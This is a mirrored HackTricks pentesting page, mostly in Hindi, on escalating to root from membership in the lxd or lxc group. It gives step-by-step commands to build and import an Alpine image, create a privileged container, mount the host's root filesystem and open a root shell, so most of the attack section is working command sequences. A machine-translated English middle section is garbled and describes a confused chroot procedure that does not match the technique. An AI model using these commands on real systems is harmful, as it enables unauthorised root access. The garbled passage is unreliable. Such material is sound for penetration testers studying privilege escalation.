Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-unix/privilege-escalation/lxd-privilege-escalation.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

8 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

यदि आप lxd या lxc समूह में सम्मिलित हैं, तो आप रूट बन सकते हैं

इंटरनेट के बिना उत्पन्न करना

आप अपनी मशीन में इस डिस्ट्रो बिल्डर को इंस्टॉल कर सकते हैं: https://github.com/lxc/distrobuilder गिथब के निर्देशों का पालन करें:

#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml

फिर, सर्वर पर फ़ाइलें lxd.tar.xz और rootfs.squashfs अपलोड करें

छवि जोड़ें:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

LXD Privilege Escalation

Introduction

LXD is a container hypervisor that allows users to run multiple Linux distributions on a single host. However, misconfigurations in LXD can lead to privilege escalation, allowing an attacker to gain root access on the host system.

Container Creation

To create a container in LXD, use the following command:

lxc launch <image> <container-name>

Replace <image> with the desired Linux distribution image and <container-name> with the name you want to give to the container.

Adding Root Path

To add the root path to the container, follow these steps:

  1. Start the container:
lxc start <container-name>
  1. Enter the container:
lxc exec <container-name> -- /bin/bash
  1. Mount the root filesystem:
mount -t proc proc /proc
mount -t sysfs sys /sys
mount -t tmpfs tmp /tmp
mount -t devtmpfs udev /dev
  1. Change the root path:
chroot /rootfs
  1. Verify the root path has been added:
ls /

If you see the contents of the host system's root directory, it means the root path has been successfully added.

Conclusion

By following these steps, you can create a container in LXD and add the root path, potentially allowing for privilege escalation. It is important to properly configure LXD to prevent unauthorized access and ensure the security of your host system.

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

आप निम्नलिखित कमांड का उपयोग करके कंटेनर को चला सकते हैं:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

इंटरनेट के साथ

आप इन निर्देशों का पालन कर सकते हैं।

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

अन्य संदर्भ

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥